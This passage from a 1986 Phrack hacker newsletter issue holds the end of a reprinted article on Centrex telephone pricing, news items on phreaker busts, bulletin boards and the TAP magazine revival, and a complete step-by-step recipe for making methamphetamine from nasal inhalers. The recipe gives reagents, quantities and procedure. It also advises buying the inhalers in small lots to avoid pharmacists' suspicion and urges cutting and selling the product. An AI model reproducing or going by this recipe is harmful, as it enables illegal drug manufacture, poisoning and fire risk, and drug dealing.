To NATA, the service's price competitiveness arises from the BOCs' continuing monopoly position in the local market, although BOC officials state firmly that Centrex is not priced below cost and, in fact, generates revenue to subsidize other services.

According to Angel, a Washington, D.C. residential customer pays a cost‑justified rate of between $15 and $17 for the local loop and central office switching capability. A Centrex customer using an identical local loop connected to the same central office pays only $12. Many of the new tariffs being filed by the BOCs recognize two of Centrex's traditional headaches: instability and distance sensitivity.

Now many of the new tariffs offer users price guarantees and incentives for signing the long‑term contracts that give telephone companies some stability in their Centrex base. By locking in rates and either capping the associated costs or typing their increase to the Department of Labor's cost‑ofliving index, BOCs have been able to offer customers much of the same predictability that a PBX does. Most tariffs give customers the choice of three‑, five‑ or seven‑year contracts, the incentives rising with the length of the agreement. Centrex customers in the Chicago Loop area, for instance, were paying a $12.52 per‑line monthly charge if their system used 250 lines. Under a tariff approved last fall, however, those customers saw the monthly charge drop to $10.94 and could drive it down even further by signaling long‑term contracts: $10.09 per‑line under a three‑year agreement, $9.84 under a five‑year agreement and $9.54 under a seven‑year agreement. "Slightly less than half of our 400,000‑line total base has gone on contract," said Lee Armagost, Illinois Bell's division manager for tariffs and costs. And the concepts success is continuing."

For all of the BOCs' success in winning lower Centrex rates, some companies have fared even better ‑‑ they have convinced state regulators to detariff Centrex service for new customers and, in one case, to deregulate it entirely. Northwestern Bell seems to be the current detariffing and deregulating champion among the BOCs, having won approval for detariffed Centron service in all of its states except Iowa. Iowa simply deregulated it.

While detariffing allows the BOCs more freedom to negotiate with large Centron customers, deregulating takes Centron assets, expenses and revenues right out of the rate base and removes the service from the regulators purview. According to Tom Smith, vice‑president and chief executive officer of Northwestern Bell Iowa, the company's first move toward deregulation occurred in 1983, when the Iowa State Legislature passed a Bell‑inspired bill that called for competitive services to be deregulated. The following year, Northwestern Bell succeeded in getting in getting more legislation passed that declared Centron ready for detariffing because of its competitive nature.

After reviewing the legislature's actions, the State Commerce Commission decided that if the lawmakers were convinced Centrex was competitive and services were to be deregulated, it would skip over the detariffing of Centrex and simply deregulate it, Smith said.

What followed was what Smith called "nine months of intensive work," as regulators, company officials and consultants from Anderson & Co. sorted out the procedures for carving Centrex away from the rate base and set up safeguards against crosssubsidies.

"A central office is not something that has this little compartment that says 'for service A' and that little compartment that says 'for service B'" Smith said of the accounting problem. NATA agrees with that description and, according to NATA attorney Angel, argues that because competitive Centrex services must operate commingled with regulated facilities, the FCC should halt the detariffing and deregulating of the service or order it to be sequestered in a separate subsidiary with other competitive products.

But the FCC has not acted on NATA's complaint. Meanwhile, the first customer has signed up for Iowa's deregulated Centron ‑‑ the state of Iowa itself.

The state had solicited bids to replace its Capitol Hill complex's Centrex service in Des Moines when deregulated Centron became available. The new rates negotiated by Northwestern Bell and the state's staff produced a savings of about $1 million for the state over the three‑year life of the contract, according to Glen Anderson Jr., director of state communications for Iowa. While Anderson called the deregulated Centron service prices "a dramatic savings," he also pointed out another incentive for signing up.

"The other factor was political," he said. "We did not have an appropriation to proceed with the procurement of a switch." When the Centron agreement runs out, the state will be in the market for a PBX again. A member of Anderson's staff said the staff remains convinced it can enhance its own program with its own switch.

At some BOCs, the once feature‑poor Centrex has caught up with PBXs in many respects. Where telephone companies are pushing digital capabilities onto their networks, they are also pushing digital capabilities onto Centrex. Pacific Bell, for instance, can offer fully digital Centrex service from many of its metropolitan central offices.

A number of BOCs concur with Bell Atlantic's position that digital Centrex is a natural rung on the ladder to an ISDN ‑among them Pacific Bell and New York Telephone Co. Many are upgrading Centrex service with PBX‑like features short of fully digital service, including several versions call forwarding, call waiting and speed dialing. Given the current strictures in the FCC's Second Computer Inquiry and the Modified Final Judgement, the expanded features list was bound to be called into question. NATA, which has been leading the charge against the changes in Centrex service, is fighting its battle on four fronts at the FCC:

1) Last fall, it asked the FCC either to halt the detariffing and deregulation of Centrex by the states or order a separation of commingled facilities. The FCC has not acted on the complaint.

2) Soon after filing that complaint, NATA filed another ‑this one questioning the provision of competitive, enhanced features by a regulated, basic telephone company. The FCC acted on that complaint last summer, deciding that features such as speed dialing, call forwarding and customer station changes are adjuncts to basic service and can be offered by a regulated telephone company under Computer II. Only customer‑dialed account recording was found to be and enhanced service, but the BOCs can request waivers to continue offering it. Until the waiver requests are considered, the FCC has granted immediate, temporary waivers so the BOCs can continue providing customer‑dialed account recording to existing customers ‑‑ including the U.S. Army. Meanwhile, the BOCs and NATA are seeking reconsideration of the FCC's decision in petitions the FCC will address this month or next, according to the FCC staff member handling the issue.

3) Late last year, NATA asked the FCC to to stop Ameritech and Nynex Corp. equipment subsidiaries from selling basic phone services, including Centrex, through their unregulated customer premises equipment subsidiaries.

When the FCC agreed to permit the joint marketing, it did so with the provision that non‑Bell companies would also be signed up as sales agents for the basic services. As evidence of the problem, NATA pointed to the sparse number of non‑Bell sales agents being signed up and the revenue moving from the BOCs to their sister customer premises equipment subsidiaries in the form of sales commissions. The FCC has not acted on the complaint or NATA's original petition seeking a reversal of the sales agent decision.

Bell Atlantic, backed by the majority of RBOCs, is seeking FCC permission for an inverted version of the sales agent decision that would let Bell Atlantic serve as sales agent for another vendor's customer premises equipment when submitting Centrex bids.

4) In July 1985, NATA filed an even more sweeping complaint, a Centrex pricing action that argues that the BOCs are using their monopoly power to favor Centrex over other customers and to the detriment of PBX suppliers. The complaint bridges a number of issues, including trunk equivalency rates, pricing below cost and Computer II concerns. The BOCs argued that Centrex is a state concern and, although the FCC has preempted state jurisdiction in other matters, the FCC paused to consider the jurisdictional question ‑‑ a pause that could last six months or extend "indefinitely," according to lawyers working on the matter.

NATA attorneys do not seem daunted by the chilly reception they've gotten at the FCC, apparently expecting the temperature to rise as regulators worry less about the viability of the divested BOCs and begin to examine the economics of Centrex. "All rates apart from Centrex are rising dramatically. Centrex rates are decreasing," NATA attorney Angel said. "The BOCs would have you believe that Centrex provides a subsidy to other services. But, in fact, documented studies show just the opposite, that Centrex derives a subsidy."

If Centrex is priced below cost, why are the BOCs so delighted with it? According to Angel, the answer lies in the financial structure of a regulated utility. "Centrex uses many more loops than necessary. This leads to new construction budgets, which lead to new investment, which leads to a rate of return for the investors." Investors, Angel added, "make make money by putting loop and plant all over the place." NATA's objections to the recent changes in Centrex rates and services, objections that do not extend to opposition to traditional Centrex, have generally been characterized by BOC officials and regulators as protectionist actions taken by a PBX industry that did not really want the full competitive environment for which it clamored.

"NATA is frequently described as the whiner in the corner, as though it holds all the cards," Angel said. The seven RBOCs are far better financed, he added, yet, "they have been successful in painting themselves as the underdogs."

* Note: Leslie Albin is a freelance writer based in Chevy Chase, Maryland.

Watch for Part 1 of Centrex Renaissance: "The Technology". Written by John D. Bray.

The above text was written primarily for people in marketing telephone technologies. In the interest of the phreaking world, I hope that you can focus on the business side of telecommunications which may be in your future. There are more to PBX's than 0‑700‑456‑1001. Any comments, questions, or corrections can be e‑mailed to me at Metal Shop Private, or to:

J. Sluggo P.O. Box 93 East Grand Forks, MN 56721

This file is dedicated to Bambi for bringing me my fondest memories ‑‑ There is "No One Like You!" ‑‑ The Scorpions.

/

\

/ luggo !!

THE TRIED AND TRUE HOME PRODUCTION METHOD FOR "METHAMPHETAMINE"

Volume One, Issue Four, Phile #8 of 11

THE TRIED AND TRUE

HOME PRODUCTION METHOD FOR

"METHAMPHETAMINE"

Also known as:"CRYSTAL","METH","CRANK","SPEED" etc..........

Written and tested by: The Leftist.

Have you ever heard of speed? No, not those little pills that are shaped like hearts, not black beauties, or magnum .357's, but real crystal. This is the exact drug that Hitler used on his troops in WWII to make them fight for days on end. This is the drug, that in the 60's, caused a "smack" uproar in New York's "Needle Park". Now, you can make this very same drug, in your own dangerous kitchen, safely and easily. Once you do this a few times, you will get the hang of it. I no longer have to read the directions to produce it.

What to do with it once you have made it.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Take a ball about the size of a lead pellet, and wrap it in tissue, and swallow, or you can put it in capsules and use it. You can smoke it, mix it with vitamin B‑12, and snort it like cocaine. You can also sell it, for about $65‑70.00 a gram, and don't forget to cut it. Remember, this is pure stuff!!

========================================

List of chemicals and materials

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Dilute Hydrochloric acid‑‑> This may be purchased at the hardware store. It's sold as a brick and driveway cleaner. They call it muriatic acid.

Sodium Hydroxide‑‑> This, you probably already have. It's called "lye" at most places; it's drain cleaner.

Ethyl Ether‑‑> You'll probably have to make this. Don't worry, it's a breeze. Just go to your local K‑mart or Auto parts store, and get a can of that "STARTING FLUID" it comes in a spray can. It's used for cold weather starting of gasoline engines.

"VICKS" nasal inhalers‑‑>USE ONLY VICKS!! No other kind will work that I know of. These are at any drug store or grocery, etc.. You need 12 of em, but don't buy em' by the dozen, unless its winter time, then you can just say yer from some nursing home, and you're stockin up for the patients. Otherwise buy em' 2 at a time, if possible. Get a friend to help you. The druggists at the drug store usually will know what's goin on if you buy quantity.

++++++++++++++++++++++++++++++++++++++++

LIST OF EQUIPMENT

‑‑‑‑‑‑‑‑‑‑‑‑

Two large eyedroppers‑ ten small glass bottles‑ one large glass or porcelain bowl‑ coffee filters‑ one small jar with a top‑ one Pyrex baking dish‑ one glass test tube.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑==*(> N O T I C E <)*==

PLEASE! DON'T SMOKE IN THE SAME ROOM WHEN YOU DO THIS.

OPEN A WINDOW IN THE ROOM IF POSSIBLE.

FOLLOW THESE INSTRUCTIONS EXACTLY. THIS RECIPE HAS BEEN TESTED AND THIS IS THE BEST WAY TO DO IT. DON'T TAKE SHORTCUTS, AND DON'T EVEN START TO DO THIS UNLESS YOU HAVE ABOUT 3 HOURS SPARE.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PREPARING ETHER!

(DO THIS FIRST)

Take one of the small bottles and spray starter fluid in it till it looks half‑full. Then fill the rest of the way with water, cap the bottle and shake for 5 minutes. Then, draw off the top layer with the eyedropper, and throw away the water layer. Repeat this until you have about 3 oz. of ether. Put the cap on it, and put it in the refrigerator if you can. (If you can't, don't worry about it) You'll use this in the procedure below.

%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%

THE TRIED AND TRUE HOME PRODUCTION METHOD

(1) Break open the inhalers, a pair of real sharp scissors does this good. Place the cottons that were inside in a jar and close the lid. (Remember you use all 12 cottons.)

(2) In the bowl, combine 1‑ 1/3 oz. water and 2/3 oz. muriatic acid. Shred cottons in this solution, and knead for 5 minutes with hands. (ALWAYS BE SURE THERE'S CLEAN RUBBER GLOVES on your hands.) You can do it bare‑handed if you've got tough skin. Squeeze all juice out of filters after you knead, and throw em away.

(3) Filter the remaining liquid into the quart jar. It will be necessary to do this several times to get that awful smelling oil out. The chemicals in the inhalers have been bonded to the HCl, and the oils have been filtered off. Throw the filters away.

(4) Pour enough of the solution into a small bottle to fill it 1/3 full. Save any leftover juice for the second batch.

(5) Pour 1/4 teaspoon of the lye crystals into the bottle and agitate. Do this carefully, as the mixture will become hot, and give off a gas. Repeat this step until the mixture remains cloudy.

(6) Fill the bottle from step (5) up the rest of the way with ether. Cap the bottle, and agitate for about 8 minutes. It is very important to expose every molecule of the free‑base to the ether for as long as possible.

(7) Let the mixture settle. There will be a middle layer that is very thick. Tap the side of the bottle to get this layer as thin as possible.

(8) Remove the top layer with the eyedropper, being careful not to get any of the middle layer in it. Save the top layer, and throw the rest away.

(9) Fill a bottle half‑way with water, and about 10 drops of acid. Pour the top layer from step (8) into the bottle, and cap it. Shake the bottle for 2 minutes. When it settles, remove the top layer and throw it away. The free base has now been bonded to the HCl/water mixture.

(10) If there is anything left from step (3), repeat the procedure with it.

(11) Evaporate the solution in the Pyrex dish on low heat. You can do this on the stove, but I have found that if you leave it on top of a hot‑water heater (like the one that supplies hot water to your house) for about 2‑3 days, the remaining crystals will be Methamphetamine.

Some notes:

Police are now calling this the "New Cocaine".

It is very easy to become delirious off the ether fumes, so be sure you are well ventilated, I mean it!!!

Small, aspirin, or experiment bottles seem to work the best for smaller batches. The measurements are not exact, so you don't have to be either.

In step 9, be sure you don't use too much water. Remember, this is the water you have to use to evaporate.

Phrack World News Part 1

==Phrack Inc.==

Volume One, Issue Four, Phile #9 of 11

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

///\/\/\/\/\/\/\/\/\/\

Metal Shop PRIVATE\\\ Phrack World News Issue 3 Part 1 ///_ _ _______

Metal Shop AE \\\

Metal Shop Brewery \\\ Compiled by /// |_||_|etal/ /hop

\\\

Present PWN III \\\///\\ Knight Lightning //\\\/// /__________/

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ \‑^^^^^^‑^^Triad

________________________________________

MCI Working With BOCs

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PacBell and MCI have combined forces to make the Security Pacific Data Transmission Corporation. Also it has been announced that field trials are currently being held for Project Victoria: an integrated voice‑data‑video service for homes and small businesses.

BOC stands for Bell Operating Company, and it refers to the small companies that were formed after the breakup of AT&T.

________________________________________

2600 Magazine Vs. Computel Wednesday, February 26, 1986 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following post was seen on Stronghold East Elite on the above date.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

We're seriously thinking of taking some action against those nasty people at Computel. We published a letter this month which implied that the whole operation was really a fairly sophisticated FBI scam.

We need to know as many facts as possible. Please contact us on Stronghold East thru e‑mail, in person, or call (516) 751‑2600. If we're not around, leave a message saying when you'll call back and we'll try to be there.

Tell us if you've had personal experience with Computel or if you know others who have. If anyone has cancelled checks or the equivalent, let us know!

Also, if anyone can send us a Computel ad, which somehow everyone here at 2600 managed to miss, it would be helpful. Send that to:

2600

PO Box 99

Middle Island, NY 11953

Note: That's not our subscription address. Subscriptions are at PO Box 752.

We may not be able to get these people prosecuted, but we can sure raise one hell of a stink trying.

2600/eg

Let it be said that hackers and phreaks will never stand aside

and be ripped off!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

At this time we at Phrack have been able to uncover nothing more about the Computel situation.

Information provided by (of course)

2600 Magazine

________________________________________

Mister Carding Busted

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Mister Carding first started in the profession of which his name comes forth in the summer of 1984. Since then he has accumulated roughly $45,000 worth of merchandise.

He was caught once before in the summer of 1985 by Federal agents. However, as the investigation went on, they didn't have enough material and dropped the charges.

Somewhere around the fourth week of February he was caught again, this time by local authorities. Here is how it all started:

"Two months ago, I had tons of stuff coming in and had another guy picking it up. One night two weeks or so ago I had him go out to pick up a 20 meg 3 1/2 inch hard drive. It was only the second time I had used that place as a drop spot. Unfortunately, he walked right into a police stakeout and he was followed, first to my house and then to his own."

The next day the police went to the house of the friend and arrested him. He willingly signed an affidavit stating that Mr. Carding was the mastermind behind the whole operation and that he was just an accomplice.

The court date has not yet been set but his crimes are as follows:

‑ Fraudulent use of a credit card.

‑ Possession of stolen merchandise in excessive amounts.

‑ Computer Invasion (Hacking).

On March 6, 1986:

‑ The police confiscated his modem. It had been carded.

‑ He had a meeting with the detectives, in which he had to take a lie detector test. They asked him if he was lying about any part of the case, if he hacked into computers, and if he was using one specific person's card. ‑ He failed the test.

The police believe he hacked into the computer of a bank in New Jersey, Mr. carding denies all of it. However it is the truth.

Most people didn't know it but Mr. Carding was one of the better hackers around and should be remembered.

He is pleading innocent to all charges and has signed a reverse affidavit stating that the other guy was the mastermind.

He, as of this writing, has not been arrested but expects to have full charges brought on him within the next week.

Information provided by Mister Carding

________________________________________

Boston Strangler Caught Scanning

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Boston Strangler was caught scanning, he wasn't scanning an extender, he was scanning a prefix in his home town. The phone company shut his line off and now Boston Strangler may have to go to court, he claims he is under 1XB but this is doubtful.

An employee of the phone company actually called him and told him to not use the phone because his supervisor was checking for trouble on the line. Apparently Boston Strangler scanned the entire prefix and once he was finished the phone company called and said that he was in a lot of trouble.

Information provided by taRfruS

________________________________________

AT&T Suing The BOCs

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

American Telephone and Telegraph is allegedly filing an 80 million dollar lawsuit on the Bell Operating Companies. They filed a complaint with the FCC in January 1986 that claims that certain BOCs owe AT&T 80 million dollars because they failed to perform specific duties which were part of their billing and collection contracts.

It is not known how much each company owes with the exception of Northwestern Bell who owes $2 million.

Information provided by Jester Sluggo

________________________________________

Speed Demon Elite; Will It Return?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The rumors are true, Radical Rocker did forget to pay his phone bill, and as a result Speed Demon Elite was shut down.

Any talk about SDE being busted for having credit card information on the board should be ignored as it is completely false and only one phreak's interpretation of past events.

Radical Rocker has stated that everyone should expect Speed Demon Elite to return in the near future.

Speed Demon Elite

415‑522‑3074

Information provided by Radical Rocker Thanx to Investigative Reporting by Taran King

________________________________________

Private Sector Damaged/Returning

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Private Sector, which was supposed to have been returned by the 16th of February, 1986 had been damaged in the hands of the authorities. According to them, "one of the cards blew up." They say that this happened before they had the chance to erase the two "illegal" files they found on the hard drive. So now then they had to hold onto it a bit longer. Naturally 2600 Magazine suspected intentional foul play and stepped up the pressure on them to return Private Sector. 2600 suspected the card they authorities were referring to was the hard disk controller. They wouldn't stick another controller from another machine in and they wouldn't let 2600 Magazine even look at the machine. What an outrage!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

On Friday, February 28, 2600 Magazine announced the following.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Private Sector has finally been returned, and is in the process of being repaired. It will be back up in the near future at the same number as before; 201‑366‑4431. Call 2600 Magazine at 516‑751‑2600 for more details.

At the current writing of this article, Private Sector is up and running. Only time will tell if it will ever be the great bbs it once was.

Information provided by 2600 Magazine

________________________________________

TelePub'86

‑‑‑‑‑‑‑‑‑‑

The 1986 TelePub meeting (originally planned up by Sigmund Fraud) was held on the second floor of the Days Inn Hotel at 440 W.57th St. New York, NY. Supposedly the first Telepub meeting since 1980, when one was held in Washington DC. The meeting room was called by some "The Colosseum."

There was a $10 admission fee to the meeting room. Supposedly Chesire Catalyst's girlfriend (who some said was blind and had a seeing eye dog) was collecting the money and handing out the name tags.

Some say there were about 25‑30 people there in total, but Broadway Hacker stated that there was only 23. This included:

Broadway Hacker

Chesire Catalyst + girlfriend

Dr. PHATE (P>hreaks H>ackers A>nd T>elecom E>nthusiasts)

Karl Marx

Lou Dolinar (reporter from Newsday Magazine in Long Island)

Ninja NYC

Private Sector + girl (Incidentally the programmer of the NEW Private Sector BBS)

Sammy Junkins

Scan Man

Sigmund Fraud + friend

Slave Driver

The Bootleg

The Cracker

The Lineman

2600 Magazine ‑ Tim and Paul

Most noted for not showing up were TUC and TWCB Inc. Since this meeting was generally supposed to be about the revival of TAP Magazine, it was VERY surprising to some that TWCB didn't go. To others however, this was expected.

Their reason (excuse) has something to do with late plane arrivals and legal problems (probably dealing with restrictions due to their probation. Supposedly TUC's phone number was posted on the board at the front of the meeting room for those who wanted to get in touch with him.

There was basically chit chat until around 11:15 am when Chesire Catalyst began talking about CCIS (Common Channel Inter‑Office Signaling). His speech really told nothing new but the best part of the discussion came out of the many questions that were asked by the audience. Also around 11:15 is when Tim and Paul from 2600 Magazine showed up.

A little later, Scan Man and The Bootleg started to discuss the possibilities of satellite phreaking, and up & down linking.

A little later, Private Sector appeared and with him came an ad from Personal Computing Magazine. The ad was from none other than Computel. Computel, the supposed and almost definite fed operation magazine was discussed for quite a long time.

Chesire Catalyst began to distribute the final issue of TAP. It was issue #91, Spring 1984. It included articles about credit agencies and UNIX, from BIOC; Hacking Western Union, by TUC; Phreaks and hackers Morality, by Big Brother; Passport check sums, and Bell Pie, among others.

2600 Magazine gave out their latest issue, February 1986, Volume 3 Number 2 as well as other promotional items.

Sigmund Fraud was giving out older issues of TAP.

Among other things, BBS numbers were passed and there were all sorts of telecommunication magazines lying around.

There was a break for lunch. When they returned Scan Man started in on Chesire about the money that MANY had sent in to TAP and never received the magazine or their money back. Chesire replied, "It went to pay my bills." He also made other remarks about how he hasn't spent it all and how he may send it back but he really didn't ever answer the questions that Scan Man put to him.

Much of this information came from Slave Driver and Sigmund Fraud

________________________________________

Metal Shop Brewery

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There is a NEW member to the Metal Shop family, thus completing the Metal Shop Triad.

Announcing...

_ _

| \/ |

|_||_|etal / /hop

__________

/__________

_______ ________ ________ __

/ ___ \ / __ \ | _____| | |

| |___| | | |__| | | |__ | | _

| / | _ _/ | | | | |

| ___ \ | | \ \ | __| | |_|

| |___| | | | \ \ | |_____ |

\_______/ |__| \__\ |________| \______

314‑DWI‑8259

300/1200 Baud, No Parity, 8 Data Bits, 1 Stop Bit.

Sysop: Beer Wolf

Co‑sysop: Cheap Shades

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

System Configuration:

‑ IBM PC with 2 Half Height Teac 360k Floppy Drives

‑ 20Meg MiniScribe Hard Drive

‑ Hayes SmartModem 1200

‑ Epson LQ‑1500 Printer

‑ Total of 448k of RAM and expecting 2 Meg soon

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

While Metal Shop Brewery is mainly an IBM Pirate Board, it also has interesting message bases.

Some of them include these topics:

‑ New Users

‑ Bulletin Boards

‑ General Schtuff

‑ Programming

‑ Things that go BOOM! (Anarchy)

‑ Hacking

‑ Phreaking

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Metal Shop Brewery is run on DoubleDos and is a strong supporter of Phrack Newsletter. IBM Pirates Call Today!

________________________________________

Phrack World News Part 2

==Phrack Inc.==

Volume One, Issue Four, Phile #10 of 11

=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑=‑

///\/\/\/\/\/\/\/\/\/\

Metal Shop PRIVATE\\\ Phrack World News Issue 3 Part 2 ///_ _ ________

Metal Shop AE \\\

Metal Shop Brewery \\\ Compiled by /// |_||_|etal/ /hop

\\\

Present PWN III \\\///\\ Knight Lightning //\\\/// /__________/

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑ \‑^^^^^^‑^^Triad

________________________________________

TAP Revival

‑‑‑‑‑‑‑‑‑‑‑

The TAP meetings in New York hadn't been going well, every week less people would show and it was becoming pointless to attend. Chesire Catalyst makes roughly $1000 a month without printing TAP, and really he sees no reason to restart. Now TAP is being taken over by The W(hack)o Cracko Brothers, INC.

Chesire Catalyst has officially given the TAP name over to TWCB Inc. or has he? These answers still remain a mystery. TWCB plans to change the name of the mag but not until after issue one is out.

Supposedly, Chesire had over 500 articles that never saw print that he has been holding until the re‑opening of TAP. It is unknown if TWCB and the new TAP Staff will acquire these articles. Also it is unknown as too if some of those articles were the ones in issue 91 of TAP that was recently distributed at TelePub'86 in New York City.

This new TAP has announced its editors as follows:

West Coast Editors: The Bootleg (Chief), The Cracker, and TUC

East Coast Editor: Susan Thunder & Scan Man

Central Editors: Knight Lightning and Taran King

TWCB, has stated that on the day the first issue of TAP sees print, they will quit phreaking, as they will undoubtedly be watched very closely from then on.

The status of Whackoland bbs is uncertain. However TWCB has announced plans for a UNIX or Motorola system.

The Staff members include: TWCB Inc., Knight Lightning, Taran King, Scan Man, The Firelord, Final Impulse, Ninja NYC, Sigmund Fraud, Silver Spy, The Bootleg, The Cracker, Surfer Bill, and The Marauder. Also unconfirmed reports state that the LOD will be taking an active part in this new magazine.

Subscription rates are as follows:

$4.00 Singular issue

$20.00 Half year/6 month subscription

$35.00 Year subscription

$100.00 Corporate year subscription, for businesses or government agencies

The $35/One year subscription includes:

o A years subscription to Tap Magazine (12, 30+ Page Issues).

o A free account to TWCB's Unix system (Limited offer).

o A free account to TWCB's Watson Message Center (Limited offer).

The magazine will consist of 30‑40 color pages and will be using the same type of paper as most common everyday magazines (ie. TIME, Newsweek etc). TAP will be published every month.

Tele‑Pub meetings will be held once a month at TAP offices in St.Louis, MO.

TWCB is supposedly in the process of organizing a TAP‑Tele‑Pub Convention to be held in St. Louis at the Marriot Hotel (most likely). TWCB says it will be THE Largest Phreak/Hackers convention EVER held! They are planning it for the Summer of 1986.

For more information on how to become a staff member to to subscribe to TAP call 314‑527‑TWCB.

TAP Offices are located at 12072 Manchester Road, Suite 21, Des Peres, MO 63131. Send all subscriptions there in money, checks, or money orders made out to Tap Magazine. (Editor's note: It is uncertain as to the true existence of this office. There is always the possibility of it being a mail forwarding service).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Some of the articles to expect in the first issue are interviews with The Bootleg, Scan Man, Surfer Bill (concerning the Teltec Busts), files from Bootlegger Magazine Issues (including those from issue #7 which has not yet been released, this includes articles from MCI World Magazine, such as the MCI World/MCI Security Interview), and NRK 01. TWCB claims to have received over a 100 articles from TOP Hack/Phreakers.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

As to the reasons concerning TWCB not appearing at the TAP‑TelePub'86, Tim posted the following on the Phrack/TAP subboard on Metal Shop PRIVATE:

"Well the meeting totally got screwed I couldn't make it, mainly because Cheshire sorta fucked TAP over. I think he was just in it for the money. He was supposed to set up a PRIVATE meeting for TAP and it was going to be before the big meeting, well I called some people at the Days in at about 4:00 AM in the morning from the airport, the morning of the meeting, and they say well Cheshire says that the Private meeting is going to be after the Big Meeting and everyone already knows where were going."

"Anyway I couldn't make it cause my plane landed at Laguardi and I was to take the plane back at 11:30 AM, well it takes 45 minutes to get to the Days Inn and didn't want to go to the big meeting because of serious LEGAL troubles."

(Editor's note: The way I heard it directly from Tim, is that they called from St. Louis International to NYC and heard about the changes and knew about their late plane situation and decided to blow it off.)

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following is the story of how TWCB got started with TAP:

At first, there it was... Metal Shop standing proud, the home of Phrack Newsletter. TWCB saw this and put up Whackoland, which many of you may notice was made specifically to look like MS. Furthermore, TWCB was gonna have a magazine originally called "Whackoland Gazette" until TWCB realized that with Metal Shop and P‑80 backing it and not just Whackoland, they would have to change the name. Phrack was supposed to be reprinted in this mag. The list of boards backing it grew quickly. Still however it was a magazine without a name. Then TWCB started hearing about the revival of TAP and how the meetings were not going very well. They called Chesire Catalyst and started working out the preliminary details, which brings us to where we are today.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

There are those however who would NOT like to see TAP restarted. Among them, 2600 Magazine and Project Inform. Who could blame them? No one likes competition. This was okay however until, TWCB got a call from TUC, Lex Luthor, Susan Thunder, and Mark Tabas (the staff members of Project Educate). They claimed they want TWCB to publish for them, TWCB refused. Later they received a threatening call from TUC, in which they were informed that TUC would have security people watching TWCB all the time and when they slipped up...*BOOM*

Now TWCB says that TUC later called and now is fully behind TAP and has accepted editorship with TAP.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

ALL information in this article, excluding the short history and investigative sections, was provided by TWCB Inc. Especially the parts about Project Inform, TUC, Lex, etc.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

TAP's Motto: Help US fight Your fight! ‑ Join Tap's WAR!

________________________________________

Phrack/Tap Status Report

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Regardless of the TAP situation, Phrack will remain in publication. TWCB is not very happy about this but, we really don't care.

The reasons that the Teltec Bust story did not appear in this issue of PWN is that most of the info we have on it was supplied by Surfer Bill in an interview he did with TWCB. I have the taped interview, but as it was done by TWCB it therefore was TAP property. However, should TAP issue #1 not be in print by the time Phrack V is ready, the Teltec story WILL appear in Phrack World News Issue Number IV.

:Knight Lightning

________________________________________

Monty Python Retires

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following message appeared on Stronghold East Elite on Sunday, February 9, 1986, 4:50:53 PM.

